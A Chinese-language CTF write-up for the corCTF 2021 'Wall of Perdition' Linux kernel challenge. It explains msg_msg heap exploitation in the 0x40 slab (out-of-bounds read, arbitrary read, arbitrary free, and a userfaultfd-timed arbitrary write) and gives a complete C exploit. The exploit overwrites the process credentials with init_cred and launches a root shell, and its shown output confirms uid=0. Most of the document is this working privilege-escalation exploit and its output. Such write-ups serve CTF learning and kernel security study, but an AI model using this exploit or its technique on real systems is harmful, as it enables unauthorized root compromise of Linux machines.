corCTF 2021 Wall Of Perdition&msg第二弹

分析

msg在许多内核cve中都有使用，所以利用这道题再加深一下对msg的理解，然后看看能不能复现个内核cve。

这个是corctf2021内核题的困难模式，简单模式是0x1000的object利用，困难模式是0x40的object利用。比之0x1000的利用确实麻烦很多，在0x1000的object利用中，如果控制了msg的前0x28个字节的话，就可以直接利用msg的m_ts和next完成内核地址的泄露以及配合userfault的任意地址写。

在0x40的利用中，泄露地址和0x1000并没有什么特别的地方，主要的差别出现在了任意地址写上面,其中利用msg进行任意地址写的内核代码如下,就算能够修改msg.next,但是写的长度早已经被记录到了len变量中，所以向next写值的时候相当于执行了copy_from_user(seg + 1, src, 0),就没有向next中写值。

struct msg_msg *load_msg(const void __user *src, size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg *seg;
	int err = -EFAULT;
	size_t alen;

	msg = alloc_msg(len);
	if (msg == NULL)
		return ERR_PTR(-ENOMEM);

	alen = min(len, DATALEN_MSG);
	if (copy_from_user(msg + 1, src, alen))
		goto out_err;

	for (seg = msg->next; seg != NULL; seg = seg->next) {
		len -= alen;
		src = (char __user *)src + alen;
		alen = min(len, DATALEN_SEG);
		if (copy_from_user(seg + 1, src, alen))
			goto out_err;
	}

	err = security_msg_msg_alloc(msg);
	if (err)
		goto out_err;

	return msg;

out_err:
	free_msg(msg);
	return ERR_PTR(err);
}

经过这道题目的作者的研究，依旧发现了一个只利用msg进行任意写的思路，看完后不得不说一句好牛😻。

在简单模式中，其实忽略一个msg的利用方式，那就是任意free,在msgrev()中会把找到的msg以及对应的段都给free掉，然后把这个msg从msg_queue中脱链，所以如果能控制msg的话可以控制next让其指向一个object地址，然后再msgrcv(),如果伪造next合理的话，就会把next给free掉了，这就构成了任意地址free的效果。

在小于0x1000尺寸的object的msg利用中，就是先进行任意free,然后通过任意free构造出任意地址写，具体思路如下

利用思路

1.首先操作如下，申请三个msg_id,然后向msg_id[0]申请一个0x40大小的msg,这个msg是可以控制的，向msg_id[1]申请两个msg，第一个大小是0x40,第二个大小是0x2000。

msg_id[0]=make_queue(IPC_PRIVATE,0666|IPC_CREAT);
msg_id[1]=make_queue(IPC_PRIVATE,0666|IPC_CREAT);
msg_id[2]=make_queue(IPC_PRIVATE,0666|IPC_CREAT);
add_rule(fd,0,INBOUND);
   dup_rule(fd,0,INBOUND);
   del_rule(fd,0,INBOUND);
   msg->mtype=1;
   memset(msg->mtext,0x61,0x1000);
   send_msg(msg_id[0],msg,0x10,IPC_NOWAIT);
   memset(msg->mtext,0x62,0x1000);
   send_msg(msg_id[1],msg,0x10,IPC_NOWAIT);
   memset(msg->mtext,0x63,0x1000);
   send_msg(msg_id[1],msg,0x1fc8,IPC_NOWAIT);

然后0x40的slab上可能出现的情况如图，改大上面的msg的m_ts就可以越界读了，最主要的是读到msg_id[1]的0x40的msg的ll_prev,ll_next,其中ll_prev指向了msg_id[1]的msg_queue,ll_next指向了msg_id[1]的下一个0x2000的msg，然后还可以根据这个越界读泄露内核地址，但是这个内核地址的选择不能被fg_kaslr影响，我选择的是error_injection_list这个指向内核数据段的地址算出kernelbase。

2.再利用msg_id[0]的msg进行任意读，读取当前进程的task_struct，这个和简单模式一样就不赘述。

3.构造任意free,首先把msg_id[1]的所有msg全部释放，由于这个内核是slab分配，且slab是后进先出的，在释放0x2000的msg的时候首先释放msg_msg,然后再释放他的段，所以当再使用msg_id[2]申请一个0x2000的msg的时候，之前的段就被当成msg_msg,原先的msg_msg就被当成段了，再加上如果申请这个msg的时候msgsnd传入的是一个userfault检测的页，此时再让msg_id[0]的msg的next指向这个段再释放这个msg,就会把刚才申请的段给释放掉，图示如下

再释放

此时就相当于任意free了，但是free的是个正在初始化的msg的段，我们随时可以向这个被free的段里写入数据。

4.任意写，此时msg_id[2]的msg.next指向被free的4K页，且能随时向这个页面里写入数据，所以可以再申请一个0x1000-0x30+0x10的msg把这个页再申请出来当新的msg的msg_msg，申请这个页的时候传入的用户态的内存也是被userfault检测的。

到这里就有两个come_from_user()被卡主了，如图所示，我们先让红色的msg通过，这样就能修改蓝色的msg_msg了，修改这个msg_msg的next为任意地址，然后再让蓝色的msg通过，这样在初始化这个msg的段的时候就会向任意地址写任意内容了。

感觉自己讲的很坨屎一样。。。

exp

思路比较饶，但总结来看最后实现任意地址写还是通过控制一个4K大小的msg_msg来完成的。

#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <assert.h>
#include <sched.h>
#include <byteswap.h>
#include <time.h>
#include <sys/wait.h>
#include <sys/timerfd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/reboot.h>
#include <arpa/inet.h>
#include <sys/shm.h>
#include <sys/sem.h>
#include <semaphore.h>

#define page_size 0x1000

#define ADD_RULE 0x1337babe
#define DELETE_RULE 0xdeadbabe
#define EDIT_RULE 0x1337beef
#define SHOW_RULE 0xdeadbeef
#define DUP_RULE 0xbaad5aad

#define INBOUND 0
#define OUTBOUND 1
#define SKIP -1

typedef struct
{
    char iface[16];
    char name[16];
    char ip[16];
    char netmask[16];
    uint8_t idx;
    uint8_t type;
    uint16_t proto;
    uint16_t port;
    uint8_t action;
} User_rule_t;

typedef struct
{
    char iface[16];
    char name[16];
    uint32_t ip;
    uint32_t netmask;
    uint16_t proto;
    uint16_t port;
    uint8_t action;
    uint8_t is_duplicated;
} Rule_t;

typedef struct
{
        long mtype;
        char mtext[1];
}user_msg;

typedef struct
{
    void *ll_next;
    void *ll_prev;
    long m_type;
    size_t m_ts;
    void *next;
    void *security;
}msg_header;

int fd=0;
int msg_id[3]={0,0,0};
size_t queue=0;
size_t kernelbase=0;
size_t page_msg=0;
size_t init_task=0;
size_t init_cred=0;
size_t vmlinux_nokaslr_addr=0xffffffff81000000;
size_t current_task=0,prev_task=0;
char *page1=0;
char *page2=0;
pthread_t td[4];
int is_write_msg=0;


#include "exp.h"

void err_exit(char *err){
    printf("\e[40;31m %s\e[0m\n",err);
    exit(1);
}

void get_IPv4(uint32_t ip,char *ipv4){
    memset(ipv4,0,0x10);

    // printf("%d.%d.%d.%d\n",(ip&0xff),(ip&0x0000ff00)>>8,(ip&0x00ff0000)>>16,(ip&0xff000000)>>24);

    sprintf(ipv4,"%d.%d.%d.%d",(ip&0xff),(ip&0x0000ff00)>>8,(ip&0x00ff0000)>>16,(ip&0xff000000)>>24);
}

User_rule_t* init_user_rule(uint8_t idx,uint8_t type,u_int32_t ip,u_int32_t netmask){

    User_rule_t *user_rule=(User_rule_t *)malloc(sizeof(User_rule_t));

    user_rule->idx=idx;
    

    get_IPv4(ip,&(user_rule->ip));

    get_IPv4(netmask,&(user_rule->netmask));

    user_rule->type=type;
    return user_rule;
}

void add_rule(int fd,uint8_t idx,uint8_t type){
    User_rule_t *user_rule_t=init_user_rule(idx,type,0x11,0x11);
    int ret=ioctl(fd,ADD_RULE,user_rule_t);
    if(ret<0){
        err_exit("add fail");
    }
}

void del_rule(int fd,uint8_t idx,uint8_t type){
    User_rule_t *user_rule_t=init_user_rule(idx,type,0x11,0x11);
    int ret=ioctl(fd,DELETE_RULE,user_rule_t);
    if(ret<0){
        err_exit("del fail");
    }
}

void dup_rule(int fd,uint8_t idx,uint8_t type){
    User_rule_t *user_rule_t=init_user_rule(idx,type,0x11,0x11);
    int ret=ioctl(fd,DUP_RULE,user_rule_t);
    if(ret<0){
        err_exit("edit fail");
    }
}

void edit_rule(int fd,char *buf,int idx,int type,int flags){
    uint32_t ip=*(uint32_t *)(buf+0x20);
    uint32_t netmask=*(uint32_t *)(buf+0x24);
    User_rule_t *user_rule=init_user_rule(idx,type,ip,netmask);
    memcpy(user_rule,buf,0x20);
    if(!flags){
        memcpy(&(user_rule->ip),"qqqqqqqqqq",strlen("qqqqqqqqqq"));
        memcpy(&(user_rule->netmask),"qqqqqqqqqq",strlen("qqqqqqqqqq"));
    }
    int ret=ioctl(fd,EDIT_RULE,user_rule);
}

int32_t make_queue(key_t key, int msgflg)
{
    int32_t result;
    if ((result = msgget(key, msgflg)) == -1)
    {
        err_exit("msgget failure");
    }
    return result;
}


void get_msg(int msqid,void *msgp,size_t msgsz,long msgtype,int msgflag){
    int ret=msgrcv(msqid,msgp,msgsz,msgtype,msgflag);
    if(ret<0){
        err_exit("msgrcv fail");
    }
}

void send_msg(int msqid,void *msgp,size_t msgsz,int msgflag){
    int ret=msgsnd(msqid,msgp,msgsz,msgflag);
    if(ret<0){
        err_exit("msgsend fail");
    }
}
void register_userfault(uint64_t fault_page, uint64_t fault_page_len, void *(*func)(void *), pthread_t *thr)
{
  struct uffdio_api ua;
  struct uffdio_register ur;
  // pthread_t thr;

  uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
  ua.api = UFFD_API;
  ua.features = 0;
  if (ioctl(uffd, UFFDIO_API, &ua) == -1)
    err_exit("[-] ioctl-UFFDIO_API");

  ur.range.start = (unsigned long)fault_page;
  ur.range.len   = fault_page_len;
  ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
    err_exit("[-] ioctl-UFFDIO_REGISTER");  
  int s = pthread_create(thr, NULL, func, (void*)uffd); 
  if (s!=0)
    err_exit("[-] pthread_create");
    return;
}
// handler1(): put forged data on (page_1+0x1000), QID #2's msg.
void* handler_write_msg(void *arg)
{
  struct uffd_msg msg1;
  unsigned long uffd = (unsigned long)arg;
  puts("[+] handler_write_msg created");

  struct pollfd pollfd;
  int nready;
  pollfd.fd      = uffd;
  pollfd.events  = POLLIN;
  nready = poll(&pollfd, 1, -1);
  if (nready != 1)  // 这会一直等待，直到copy_from_user/copy_to_user访问FAULT_PAGE
    err_exit("[-] Wrong pool return value");

  if (read(uffd, &msg1, sizeof(msg1)) != sizeof(msg1)) // 从uffd读取msg结构，虽然没用
    err_exit("[-] Error in reading uffd_msg");
  assert(msg1.event == UFFD_EVENT_PAGEFAULT);
  if (msg1.arg.pagefault.address == (page1 + page_size))
  {
      printf("[*] page fault 1 at page1+0x1000\n");
      char buffer[0x2000];  // 预先设置好buffer内容，往缺页处进行拷贝
      memset(buffer, 0, sizeof(buffer));
      msg_header fake_msg_header;
      fake_msg_header.m_type = 1;
      fake_msg_header.m_ts   = 0x1000;
      fake_msg_header.next   = current_task+0x538-0x8;
      memcpy(buffer+0xfd0-0x8, (void *)&fake_msg_header, sizeof(msg_header));  // msg_msgseg.next - 8 bytes (we should skip this 8 bytes)
    //   memset(buffer,0x61,0x2000);
      struct uffdio_copy uc;
      uc.src = (unsigned long)buffer;
      uc.dst = (unsigned long)page1+page_size; // (unsigned long) msg1.arg.pagefault.address & ~(page_size - 1);
      uc.len = 0x1000;
      uc.mode = 0;
      uc.copy = 0;
      while (1)
      {
        //   printf("asdf\n");
          if (is_write_msg)
          {
              ioctl(uffd, UFFDIO_COPY, &uc); // 恢复执行copy_from_user
              printf("write msg ok\n");
              return 0;
          }
      }
  }
  
  return 0;
}
void* handler_write_task(void *arg)
{
  struct uffd_msg msg1;
  unsigned long uffd = (unsigned long)arg;
  puts("[+] handler_write_task created");

  struct pollfd pollfd;
  int nready;
  pollfd.fd      = uffd;
  pollfd.events  = POLLIN;
  nready = poll(&pollfd, 1, -1);
  if (nready != 1)  // 这会一直等待，直到copy_from_user/copy_to_user访问FAULT_PAGE
    err_exit("[-] Wrong pool return value");

  if (read(uffd, &msg1, sizeof(msg1)) != sizeof(msg1))  // 从uffd读取msg结构，虽然没用
    err_exit("[-] Error in reading uffd_msg");
  assert(msg1.event == UFFD_EVENT_PAGEFAULT);

  if (msg1.arg.pagefault.address == (page2 + page_size))
  {
      
      printf("[+] page fault 2 at page2+0x1000\n");
      is_write_msg = 1;                                // wait for page fault 1
      sleep(1);
    //   pthread_join(td[0],NULL);
      printf("[*] msg next write is ok\n");
      char buffer[0x2000]; 
      *(size_t *)(buffer+0x1000-0x30)=init_cred;
      *(size_t *)(buffer+0x1000-0x30+8)=init_cred;

      struct uffdio_copy uc;
      uc.src = (unsigned long)buffer;
      uc.dst = (unsigned long)page2+page_size; // (unsigned long) msg1.arg.pagefault.address & ~(page_size - 1);
      uc.len = 0x1000;
      uc.mode = 0;
      uc.copy = 0;

      ioctl(uffd, UFFDIO_COPY, &uc); // 恢复执行copy_from_user
  }
    printf("write task ok\n");
    printf("\e[40;33m debug\e[0m\n");
    add_rule(fd,3,INBOUND);
  return 0;
}
int find_current_task(){
    pid_t pid;
    msg_header fake_msg_header;
    char re_buf[0x2000];
    current_task=init_task;
    fake_msg_header.ll_next=(void *)0x4141414141414141;
    fake_msg_header.ll_prev=(void *)0x4242424242424242;
    fake_msg_header.m_type=1;
    fake_msg_header.m_ts=0x2000;
    
    fake_msg_header.next=current_task+0x290;
    edit_rule(fd,&fake_msg_header,0,OUTBOUND,1);
    get_msg(msg_id[0],re_buf,0x2000,0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
    pid=*(int *)(re_buf+(0x1000-0x30)+0x8+0x100);
    prev_task=*(size_t *)(re_buf+(0x1000-0x30)+0x8+0x8)-0x298;
    printf("\e[40;32m pid:%d  getpid:%d \e[0m\n",pid,getpid());
    while(pid!=getpid()){
        current_task=prev_task;
        fake_msg_header.next=current_task+0x290;
        edit_rule(fd,&fake_msg_header,0,OUTBOUND,1);
        get_msg(msg_id[0],re_buf,0x2000,0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
        pid=*(int *)(re_buf+(0x1000-0x30)+0x8+0x100);
        prev_task=*(size_t *)(re_buf+(0x1000-0x30)+0x8+0x8)-0x298;
        printf("\e[40;32m pid:%d  getpid:%d \e[0m\n",pid,getpid());
    }
}

void get_page_msg_next(){
    
    *(size_t *)(page1+0x1000-0x8)=0x1;
    send_msg(msg_id[2],page1+0x1000-0x8,0x2000-0x8-0x30,IPC_NOWAIT);
}

void get_page_msg(){
    *(size_t *)(page2+0x1000-0x8)=0x1;
    printf("get_page_msg\n");
    send_msg(msg_id[2],page2+0x1000-0x8,0x1000-0x30+0x10,IPC_NOWAIT);
}

int main(){
    size_t re_buf[0x2000/8]={0};
    fd=open("/dev/firewall",O_RDWR);
    if(fd<0){
        err_exit("open firewall fail");
    }
    msg_id[0]=make_queue(IPC_PRIVATE,0666|IPC_CREAT);
    msg_id[1]=make_queue(IPC_PRIVATE,0666|IPC_CREAT);
    msg_id[2]=make_queue(IPC_PRIVATE,0666|IPC_CREAT);
    user_msg *msg=(user_msg *)malloc(0x2000);
    page1=(char *)mmap(0x200000,0x3000,PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
    page2=(char *)mmap(0x300000,0x3000,PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
    if((!page1)||(!page2)){
        err_exit("mmap fail");
    }
    register_userfault(page1+0x1000,0x1000,handler_write_msg,&td[0]);
    register_userfault(page2+0x1000,0x1000,handler_write_task,&td[1]);
    for(int i=10;i<16;i++){
        add_rule(fd,i,INBOUND);
    }
    add_rule(fd,0,INBOUND);
    dup_rule(fd,0,INBOUND);
    del_rule(fd,0,INBOUND);
    msg->mtype=1;
    memset(msg->mtext,0x61,0x1000);
    send_msg(msg_id[0],msg,0x10,IPC_NOWAIT);
    memset(msg->mtext,0x62,0x1000);
    send_msg(msg_id[1],msg,0x10,IPC_NOWAIT);
    memset(msg->mtext,0x63,0x1000);
    send_msg(msg_id[1],msg,0x1fc8,IPC_NOWAIT);

    msg_header fake_msg_header;
    fake_msg_header.ll_next=(void *)0x4141414141414141;
    fake_msg_header.ll_prev=(void *)0x4242424242424242;
    fake_msg_header.m_type=1;
    fake_msg_header.m_ts=0x2000;
    edit_rule(fd,&fake_msg_header,0,OUTBOUND,0);
    get_msg(msg_id[0],re_buf,0x2000,0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
    for(int i=0;i<0x2000/0x8;i++){
        if(re_buf[i]){
            printf("[*] %p\n",re_buf[i]);
        }
        if((!strncmp(&re_buf[i],"bbbbbbbbbbbbbbbb",0x10))&&(!queue)){
            queue=re_buf[i-5];
            page_msg=re_buf[i-6];
        }
        if(((re_buf[i]&0xffff)==0x1520)&&(!kernelbase)){ //error_injection_list
            kernelbase=re_buf[i]-0xc41520;
            init_task=kernelbase+0xc124c0;
            init_cred=kernelbase+0xc33060;
        }
        if(queue&&kernelbase){
            break;
        }
    }
    printf("\e[40;32m msg_queue_addr:%p \e[0m\n",queue);
    printf("\e[40;32m page_msg_addr:%p \e[0m\n",page_msg);
    printf("\e[40;32m kernelbase_addr:%p \e[0m\n",kernelbase);
    printf("\e[40;32m init_task_addr:%p \e[0m\n",init_task);
    printf("\e[40;32m init_cred_addr:%p \e[0m\n",init_cred);
    if((!queue)||(!kernelbase)){
        err_exit("get queue fail or kernelbase fail");
    }
    find_current_task();
    printf("\e[40;32m current_task_addr:%p \e[0m\n",current_task);

    //1.先釋放4K的msg
    get_msg(msg_id[1],re_buf,0x10,0,IPC_NOWAIT | MSG_NOERROR);
    get_msg(msg_id[1],re_buf,0x1fc8,0,IPC_NOWAIT | MSG_NOERROR);

    //2.然後再把他們申請回來,並且通過userfault卡住
    
    pthread_create(&td[2],NULL,get_page_msg_next,NULL);
    sleep(1);
    //3.然後再把msg的段通過我們控制的msg給釋放掉
    fake_msg_header.ll_next=queue;
    fake_msg_header.ll_prev=queue;
    fake_msg_header.m_type=1;
    fake_msg_header.m_ts=0x10;
    fake_msg_header.next=page_msg;
    edit_rule(fd,&fake_msg_header,0,OUTBOUND,1);
    get_msg(msg_id[0],re_buf,0x10,0,IPC_NOWAIT | MSG_NOERROR);
    //4.然後再把釋放掉的msg的段申請回來，這次他是msg了,並且再次通過userfault卡住
    pthread_create(&td[3],NULL,get_page_msg,NULL);
    pthread_join(td[0],NULL);
    pthread_join(td[1],NULL);
    pthread_join(td[2],NULL);
    pthread_join(td[3],NULL);
    printf("uid:%d\n",getuid());
    system("/bin/sh");
}

有概率成功，主要是越界读的slab的内容不可控，可能能读到可能读不到，应该和slab的freelist的随机化有关。

ctf@CoRCTF:/$ /myexp
 msg_queue_addr:0xffffa041855bf6c0 
 page_msg_addr:0xffffa041855c1000 
 kernelbase_addr:0xffffffff9ea00000 
 init_task_addr:0xffffffff9f6124c0 
 init_cred_addr:0xffffffff9f633060 
 pid:0  getpid:86 
 pid:86  getpid:86 
 current_task_addr:0xffffa04186128ac0 
[+] handler_write_task created
[+] handler_write_msg created
[*] page fault 1 at page1+0x1000
get_page_msg
[+] page fault 2 at page2+0x1000
write msg ok
[*] msg next write is ok
write task ok
 debug
uid:0
root@CoRCTF:/# id
uid=0(root) gid=0(root)

总结

利用msg进行越界读和任意读还是很好用的，但注意得开启MSG_COPY,但是通过msg进行任意写还得配合userfault,但在高版本中只有root用户才能使用userfault，所以感觉利用msg进行任意读在真实场景中不好实现的。

思考

在本题的利用中，除了uaf以外还提供了写接口，我在想是否继续压缩条件，不使用这个写接口，而是通过把这个uaf转化成一个doublefree然后使用一个通解完成利用，我在其他博客中见到过类似思路，感觉是可行的，试试看。